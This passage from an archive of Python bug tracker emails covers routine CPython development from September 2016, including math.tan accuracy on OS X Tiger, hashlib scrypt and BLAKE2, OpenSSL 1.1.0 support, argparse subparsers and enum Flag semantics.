Message-ID: <1472978183.48.0.376953839986.issue26040@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Opened #27953 to track the issue with tan on OS X Tiger. Re-closing here.

----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26040>
_______________________________________

From report at bugs.python.org  Sun Sep  4 04:59:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 08:59:04 +0000
Subject: [issue27953] tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <20160904085859.8503.11719.7B4BBDD0@psf.io>


Roundup Robot added the comment:

New changeset b4d52df5595e by Mark Dickinson in branch 'default':
Issue #27953: skip failing math and cmath tests for tan on OS X 10.4.
https://hg.python.org/cpython/rev/b4d52df5595e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Sun Sep  4 06:24:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 10:24:35 +0000
Subject: [issue27953] tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1472984675.3.0.444490820064.issue27953@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

The relevant tests are now skipped on OS X < 10.5, and test_math and test_cmath are passing on the OS X Tiger buildbot. Closing (as "wont fix", since we haven't actually fixed the underlying issue).

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Sun Sep  4 06:44:54 2016
From: report at bugs.python.org (Michael Felt)
Date: Sun, 04 Sep 2016 10:44:54 +0000
Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not
 available (e.g., AIX)
In-Reply-To: <1472962314.86.0.0797350826334.issue26439@psf.upfronthosting.co.za>
Message-ID: <ea898517-1e7c-a449-657e-3be666b9b37a@gmail.com>


Michael Felt added the comment:

On 04/09/2016 06:11, Martin Panter wrote:
> I do not know whether to fix the annotation (has 64 preceded by any number of underscores), or whether to fix the regular expression (_?64).

The later - _?64. Working on this today. Thank you for the correction.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26439>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:29:30 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 11:29:30 +0000
Subject: [issue27427] Add new math module tests
In-Reply-To: <1467325887.57.0.243525279322.issue27427@psf.upfronthosting.co.za>
Message-ID: <20160904112926.68987.94700.CEEB40E6@psf.io>


Roundup Robot added the comment:

New changeset eb98f6044638 by Mark Dickinson in branch 'default':
Issue #27427: Additional tests for the math module. Thanks Francisco Couzo.
https://hg.python.org/cpython/rev/eb98f6044638

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27427>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:30:29 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 11:30:29 +0000
Subject: [issue27427] Add new math module tests
In-Reply-To: <1467325887.57.0.243525279322.issue27427@psf.upfronthosting.co.za>
Message-ID: <1472988629.16.0.329120086832.issue27427@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Applied. Thank you, Francisco!

----------
components: +Extension Modules -Tests
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27427>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:32:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 11:32:01 +0000
Subject: [issue27427] Add new math module tests
In-Reply-To: <1467325887.57.0.243525279322.issue27427@psf.upfronthosting.co.za>
Message-ID: <20160904113157.30942.68830.D8EC8B39@psf.io>


Roundup Robot added the comment:

New changeset d7c31c73b1bd by Mark Dickinson in branch 'default':
Add Francisco Couzo to Misc/ACKS (for issue #27427 patch).
https://hg.python.org/cpython/rev/d7c31c73b1bd

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27427>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:45:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 11:45:33 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472989533.09.0.267407584106.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks Alex, multiple is the wrong term. The argument 'n' must be 2^m for m > 1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:51:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 11:51:02 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472989862.83.0.963909988771.issue26470@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Antoine, I have reconsidered your idea. Let's make the default value PROTOCOL_TLS in 3.6 and deprecated the other protocol methods. We can remove them in 3.8 or 3.9. I'll push another patch later today.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Sun Sep  4 07:51:29 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 11:51:29 +0000
Subject: [issue27953] math.tan has poor accuracy near pi/2 on OS X Tiger
In-Reply-To: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>
Message-ID: <1472989889.28.0.132170722343.issue27953@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
title: tan has poor accuracy near pi/2 on OS X Tiger -> math.tan has poor accuracy near pi/2 on OS X Tiger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Sun Sep  4 09:14:07 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Sun, 04 Sep 2016 13:14:07 +0000
Subject: [issue27919] Deprecate and remove extra_path distribution kwarg
In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za>
Message-ID: <1472994847.4.0.63509627812.issue27919@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

I've done more work breaking down the findings:

pygoogle (7): All forks of a project of the same name. Ignorable since the name matches the project name.

cancelbot (3): All forks of a project of the same name. Ignorable since the name matches the project name.

Numeric (8): All projects seem to be peripherally related to numpy, but probably had their setup.py copied from an earlier version of numpy.

Aeosa (58): The most recent activity is all in one repository, so I've filed [mattneub/appscript#14](https://github.com/mattneub/appscript/issues/14) to request the change.

quasi (7): All forks of a project of the same name. Ignorable since the name matches the project name.

Motion and Graph (2): Two projects in https://github.com/scanlime/navi-misc. Ignorable since the name matches the project name.

Ohai (1): Made a comment here (https://github.com/bukzor/ohai).

NumPtr (5): The project makes the comment "I want to be able to remove them if I screw up this script; 'Sandboxing', if you will" and uses extra_path with the same name as the project; ignorable.

eispice (3): All forks of a project of the same name. Ignorable since the name matches the project name.

rtaudio (1): All forks of a project of the same name. Ignorable since the name matches the project name.

pyryutil (1): All forks of a project of the same name. Ignorable since the name matches the project name.

pbs (~5): Several projects are using the 'pbs' extra_path to group their packages (https://github.com/search?utf8=%E2%9C%93&q=extra_path+pbs+filename%3Asetup.py&type=Code&ref=searchresults), even going as far as creating a setup.py.in template with that setting. I've posted a ticket with what I believe to be the parent project.

korean (1): Uses the feature for load-time import. I've posted a ticket suggesting the removal of that.

kodos (6): All forks of a project of the same name. Ignorable since the name matches the project name.

pygraphics (4): All forks of a project of the same name. Ignorable since the name matches the project name.

pythonutils(1): All forks of a project of the same name. Ignorable since the name matches the project name.

Spike (2): All forks of a project of the same name. Ignorable since the name matches the project name.

timml (2): All forks of a project of the same name. Ignorable since the name matches the project name.

orange-bioinformatics (1): Uses extra_path to set a custom destination dir for the package. I've filed a ticket referencing this one.

pyNameList (1): All forks of a project of the same name. Ignorable since the name matches the project name.

FontTools (42): All forks of a project of the same name. Ignorable since the name matches the project name.

flopy (1): All forks of a project of the same name. Ignorable since the name matches the project name.

At this point, I've gone through 11 of the 54 pages of (most relevant) search results from Github. I suspect that's a good enough sample to determine if this feature does indeed need to be retained.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27919>
_______________________________________

From report at bugs.python.org  Sun Sep  4 09:47:42 2016
From: report at bugs.python.org (Thom Wiggers)
Date: Sun, 04 Sep 2016 13:47:42 +0000
Subject: [issue21622] ctypes.util incorrectly fails for libraries without
 DT_SONAME
In-Reply-To: <1401593302.24.0.994822187168.issue21622@psf.upfronthosting.co.za>
Message-ID: <1472996862.99.0.314767890155.issue21622@psf.upfronthosting.co.za>


Thom Wiggers added the comment:

This bug is still present in Python 3.5.

It breaks, probably among other things, this package: https://github.com/ahupp/python-magic/issues/114.

----------
nosy: +twiggers
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21622>
_______________________________________

From report at bugs.python.org  Sun Sep  4 09:55:01 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 04 Sep 2016 13:55:01 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472997301.01.0.101495326843.issue27950@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

After more study, I think we can do just as what I have pointed out as the problem, ': #...". This can make us have an indent comment that won't be evaluated by the shell. And we only need to add @ before it so it won't be echoed.

As for the part you comment, Martin, if we have to rely on the exit status, I'm afraid there is nothing we can do.

----------
Added file: http://bugs.python.org/file44357/issue27950_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 09:59:59 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 13:59:59 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1472997599.49.0.63565885068.issue26798@psf.upfronthosting.co.za>


Martin Panter added the comment:

Maybe call the RST file hashlib-blake2.rst (hyphen, not dot), otherwise it looks like it is a separate submodule under the hashlib package.

Also there seems to be a versionadded tag missing in the documentation.

In setup.py, the os.uname().machine check seems unsafe for cross-compilation, though I am not certain, and I don?t have a better suggestion.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:12:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:12:20 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1473001940.54.0.00888914787152.issue26798@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for your review. I have addressed your points and updated/fixed/renamed documentation and comments.

----------
Added file: http://bugs.python.org/file44358/BLAKE2-hash-algorithm-for-CPython-5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:13:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:13:55 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473002035.72.0.566398199277.issue27744@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have removed binascii.(un)hexlify().

----------
Added file: http://bugs.python.org/file44359/AF_ALG-kernel-crypto-support-for-socket-module-5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:15:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:15:10 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1473002110.94.0.350956376101.issue26470@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Added file: http://bugs.python.org/file44360/Port-Python-s-SSL-module-to-OpenSSL-1.1.0-5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:15:43 2016
From: report at bugs.python.org (David D)
Date: Sun, 04 Sep 2016 15:15:43 +0000
Subject: [issue27954] makesetup does not take into account subdirectories
Message-ID: <1473002143.7.0.439810404668.issue27954@psf.upfronthosting.co.za>


New submission from David D:

https://hg.python.org/cpython/file/tip/Modules/makesetup#l202

If I try to create a built-in module with a source file named exactly as another source file that already exists in a different module, the script generates the same output path for the object files, creating a conflict.

----------
components: Build, Extension Modules
messages: 274366
nosy: David D
priority: normal
severity: normal
status: open
title: makesetup does not take into account subdirectories
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27954>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:16:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:16:49 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473002209.26.0.952712569386.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Added file: http://bugs.python.org/file44361/Add-hashlib.scrypt-4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:27:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:27:36 +0000
Subject: [issue19500] Error when connecting to FTPS servers not supporting SSL
 session resuming
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473002856.25.0.703585204943.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Here is my take on the SSLSession feature. The patch provides a SSLSession type, SSLSocket.session getter/setter and SSLSocket.session_reused getter. The setter makes sure that the session can only set for client sockets from the same SSLContext and before handshake. Tests and documentation need some improvements.

https://github.com/tiran/cpython/commits/feature/openssl_session

----------
Added file: http://bugs.python.org/file44362/SSLSession-support.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Sun Sep  4 11:29:08 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 04 Sep 2016 15:29:08 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473002948.39.0.168105077363.issue19500@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +alex
stage:  -> patch review
title: Error when connecting to FTPS servers not supporting SSL session resuming -> Add client-side SSL session resumption
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Sun Sep  4 12:36:55 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 16:36:55 +0000
Subject: [issue27859] argparse - subparsers does not retain namespace
In-Reply-To: <1472137330.56.0.683571624156.issue27859@psf.upfronthosting.co.za>
Message-ID: <1473007015.86.0.502630230116.issue27859@psf.upfronthosting.co.za>


paul j3 added the comment:

I've posted a file that runs your code as you expect.

It uses a custom Action class (like your test case).  It subclasses ._SubParsersAction, and replaces the 9351 namespace use with the original one.  I use the registry to change the class that parser.add_subparsers() uses.

The stock argparse.py file does not need to be changed.

ps

In your custom Action I access `namespace.foo` with `getattr(namespace, 'foo', None)` which is how argparse accesses the namespace, and does not throw attribute errors.

----------
Added file: http://bugs.python.org/file44363/issue27859test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27859>
_______________________________________

From report at bugs.python.org  Sun Sep  4 12:45:54 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 16:45:54 +0000
Subject: [issue9351] argparse set_defaults on subcommands should override top
 level set_defaults
In-Reply-To: <1279894012.43.0.0678646409.issue9351@psf.upfronthosting.co.za>
Message-ID: <1473007554.08.0.725268368405.issue9351@psf.upfronthosting.co.za>


paul j3 added the comment:

In http://bugs.python.org/issue27859 I've demonstrated how a subclass of _SubParsersAction can be used to revert the behavior to pre 2.7.9, passing the main namespace to the subparser.

The only other change is to the parser registry:

    parser.register('action', 'parsers', MyParserAction)

So there's no need to change the argparse.py file itself.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9351>
_______________________________________

From report at bugs.python.org  Sun Sep  4 12:46:44 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 16:46:44 +0000
Subject: [issue9351] argparse set_defaults on subcommands should override top
 level set_defaults
In-Reply-To: <1279894012.43.0.0678646409.issue9351@psf.upfronthosting.co.za>
Message-ID: <1473007604.88.0.347818225412.issue9351@psf.upfronthosting.co.za>


Changes by paul j3 <ajipanca at gmail.com>:


----------
Removed message: http://bugs.python.org/msg274336

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9351>
_______________________________________

From report at bugs.python.org  Sun Sep  4 13:07:51 2016
From: report at bugs.python.org (Ashish Nitin Patil)
Date: Sun, 04 Sep 2016 17:07:51 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1473008871.34.0.526264541826.issue27497@psf.upfronthosting.co.za>


Ashish Nitin Patil added the comment:

Hi, I have added the "return" to the writeheader method. I ran the tests for the csv library (./python -m test -v test_csv) and got no errors (Ran 101 tests in 0.322s; 1 test OK.).

Kindly review the patch.

----------
keywords: +patch
nosy: +ashishnitinpatil
Added file: http://bugs.python.org/file44364/issue_27497_add_return_to_DictWriter_writeheader.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Sun Sep  4 13:09:43 2016
From: report at bugs.python.org (Ashish Nitin Patil)
Date: Sun, 04 Sep 2016 17:09:43 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1473008983.38.0.524754786314.issue27497@psf.upfronthosting.co.za>


Ashish Nitin Patil added the comment:

Also, I noticed in the documentation for `csv.DictWriter` (https://docs.python.org/3/library/csv.html#csv.DictWriter.writeheader) does not contain the following line -
     to the writer's file object, formatted according to the current dialect.
Although it is there for the other 2 methods (`writerow` & `writerows`) and since `writeheader` uses `writerow` in turn, I believe the said line should be included for the `writeheader` documentation as well. I have created another patch with both the changes. I ran the Doc build (make html) and have checked the addition of the said lines looks good & does not break anything.

I can make another thread if required, if you feel both the changes can't be accommodated in the same issue.

----------
Added file: http://bugs.python.org/file44365/issue_27497_add_return_to_DictWriter_writeheader_with_documentation_changes.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Sun Sep  4 13:54:47 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 04 Sep 2016 17:54:47 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473011687.01.0.460941717232.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> All my questions pertain to Flags.

Ah, okay.

> You said what to me seem like two contradictory things:
> 
>> Not having 2 named has different consequences for Flag vs IntFlag
>> (although *neither is an error*): Flag: no combination of flags will
>> ever have the 2 bit set [...]

and

>> if MyFlags is a Flag then MyFlags(impossible_combination) *will raise an exception.*

First, let me state the intended use of Flags:  primary flags (single-bit flags) will have values of powers of 2:

--> class Perm(Flag):
...     R = 4
...     W = 2
...     X = 1
...
--> Perm.R | Perm.W | Perm. X
<Perm.R|W|X: 7>
-->

If nicer names are desired for certain combinations (aka secondary flags, or multi-bit), then name them:

--> class Perm(Flag):
...     ...
...     RWX = 7
...
--> Perm.R | Perm.W | Perm.X
<Perm.RWX: 7>

If, for whatever strange reason, you don't give a certain power of 2 a name, Flag doesn't care:

--> class Perm(Flag):
...     R = 8
...     W = 4
...     X = 1
...
--> Perm.R | Perm.W | Perm. X
<Perm.R|W|X: 13>
-->

But trying to use that missing value will be an error:

--> Perm(6)
Traceback (most recent call last):
  ...
ValueError: 6 is not a valid MyFlags

This is what I was referring to as "not naming a bit is not an error, but using an impossible value is".  What I missed in your example was that, although you hadn't named 2, you still had multi-bit values that included the 2 bit.  In other words, in my example there will never be a combination that has the 2 bit set, while in yours (because of your weird values) it is possible.


> Are you saying that after I write
> 
>      class MyFlags(Flags):
>          b001 = 1
>          b011 = 3
>          b100 = 4
>          b110 = 6
> 
> this is _not_ an error, but if after that I call
> 
>      print(MyFlags(7))
> 
> it _is_ an error? 

No, that's not what I'm saying, and hopefully my explanation above clears that up.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep  4 13:55:28 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 04 Sep 2016 17:55:28 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473011728.58.0.0396201347326.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

As a side note, I suspect there would be much less confusion with Flag if we had an AutoEnum.

C'est la vie.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep  4 14:15:09 2016
From: report at bugs.python.org (Michael Felt)
Date: Sun, 04 Sep 2016 18:15:09 +0000
Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not
 available (e.g., AIX)
In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za>
Message-ID: <1473012909.17.0.214369998891.issue26439@psf.upfronthosting.co.za>


Michael Felt added the comment:

Not always as elegant as I would wish (do not like the idea of "while 1:" and later a break...

But, all in all, much improved by redoing the processing of the subprocess output and getting rid of more noise.

Hope this meets your approval!

p.s. This is a patch compared to previous patch. If a diff compared to Python-3.6.0a4 I can remake the patch.

----------
Added file: http://bugs.python.org/file44366/Python3.6.Lib.ctypes.160904.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26439>
_______________________________________

From report at bugs.python.org  Sun Sep  4 14:24:48 2016
From: report at bugs.python.org (David Edelsohn)
Date: Sun, 04 Sep 2016 18:24:48 +0000
Subject: [issue25825] AIX shared library extension modules installation broken
In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za>
Message-ID: <1473013488.7.0.971054839347.issue25825@psf.upfronthosting.co.za>


David Edelsohn added the comment:

I believe that everything is functioning correctly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25825>
_______________________________________

From report at bugs.python.org  Sun Sep  4 14:29:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 18:29:23 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <20160904182920.37920.27265.A44F2855@psf.io>


Roundup Robot added the comment:

New changeset 7108f2a708c9 by Raymond Hettinger in branch '3.5':
Issue 27936: Update doc for round() to indicate that None is an allowable argument.
https://hg.python.org/cpython/rev/7108f2a708c9

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Sun Sep  4 14:39:21 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 18:39:21 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160904183918.30503.99391.28A9083C@psf.io>


Roundup Robot added the comment:

New changeset 8e9d3a5d47d5 by Ethan Furman in branch 'default':
issue23591: more docs; slight change to repr
https://hg.python.org/cpython/rev/8e9d3a5d47d5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep  4 15:02:54 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 04 Sep 2016 19:02:54 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <20160904190216.8656.34490.E542D232@psf.io>


Roundup Robot added the comment:

New changeset 6e4475894a79 by Terry Jan Reedy in branch '2.7':
Issue #27922: IDLE test_idlehistory no longer flash tk widgets.
https://hg.python.org/cpython/rev/6e4475894a79

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Sun Sep  4 15:43:25 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 04 Sep 2016 19:43:25 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473018205.44.0.613542085085.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

> As a side note, I suspect there would be much less confusion with Flag if we had an AutoEnum.

No, there would be _different_ confusion. :-P

Anyway, let's get back to the discussion. I am quite aware about what's the intended use, but you can't just assume people will know about it. In my view, you must do one of two things:

1) (at least in documentation, and preferably in the code by raising Exceptions at class definition time) forbid the use of Flags whose values are not either a) powers of two, or b) bitwise or of some already declared values

-or-

2) Specify and implement a robust algorithm for finding the "cover of bits" for a given numeric value. If the intended algorithm is really "pick the largest member value smaller than given value, subtract and repeat until 0 remains", then it should be said so in the documentation, and preferably some reasons given for the usage of that exact algorithm. ("it was easiest to implement" does not rank very high on my list.)

In other words, MyFlags(7) should either be illegal, or I should be able to interpret what it will be by reading the documentation. Leaving it unspecified is not acceptable IMO.

(In case it isn't clear: I'm for option 1. I _don't_ intend to write MyFlags ever in Python. But if I happen to write it unintentionally (e.g. if I forget to declare 2), I would like Python to tell me I'm doing something wrong.)

(But if you really want option 2 for some reason, that's ok too. I'm just saying I would like it specified, with a rationale if it's not too much of a problem.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep  4 19:04:57 2016
From: report at bugs.python.org (Justin Mayfield)
Date: Sun, 04 Sep 2016 23:04:57 +0000
Subject: [issue24837] await process.wait() does not work with a new_event_loop
In-Reply-To: <1439199038.24.0.690620901041.issue24837@psf.upfronthosting.co.za>
Message-ID: <1473030297.47.0.544335933213.issue24837@psf.upfronthosting.co.za>


Justin Mayfield added the comment:

I agree with Guido.  I spent a couple hours trying to debug some of my own code that turned out to be this issue.  My use case is single threaded too.

Perhaps I'm daft but I don't understand why the child watcher is part of the event loop policy.  At first glance it appears that it would be better suited being attached to any event loop in the main thread and then this wouldn't be an issue.

I wonder if this design is intended to support launching subprocesses from non-main thread event loops, which seems inherently dangerous and potentially misguided to me.

----------
nosy: +Justin Mayfield

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24837>
_______________________________________

From report at bugs.python.org  Sun Sep  4 21:05:16 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 05 Sep 2016 01:05:16 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1473037516.16.0.224791810677.issue27950@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think

<Tab>@# Comment

would be just as good as (and slightly clearer than)

<Tab>@: # Comment

They would both invoke the shell. The first has no command and just a shell comment; the second has a no-op command (:) with a comment. Let me know if you agree @# would be okay.

I can?t think of a simple solution for the pybuilddir.txt rule. (Other than using make -s :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 21:18:39 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 01:18:39 +0000
Subject: [issue25758] ensurepip/venv broken on Windows if path includes unicode
In-Reply-To: <1448704613.06.0.448553989281.issue25758@psf.upfronthosting.co.za>
Message-ID: <1473038319.03.0.735239664251.issue25758@psf.upfronthosting.co.za>


Steve Dower added the comment:

Given a quick read, it looks like issue27781 (PEP 529) will resolve this?

Not encoding the path at all is obviously better, but maybe I'll add this as supporting evidence to the PEP...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25758>
_______________________________________

From report at bugs.python.org  Sun Sep  4 21:19:38 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 05 Sep 2016 01:19:38 +0000
Subject: [issue25825] AIX shared library extension modules installation broken
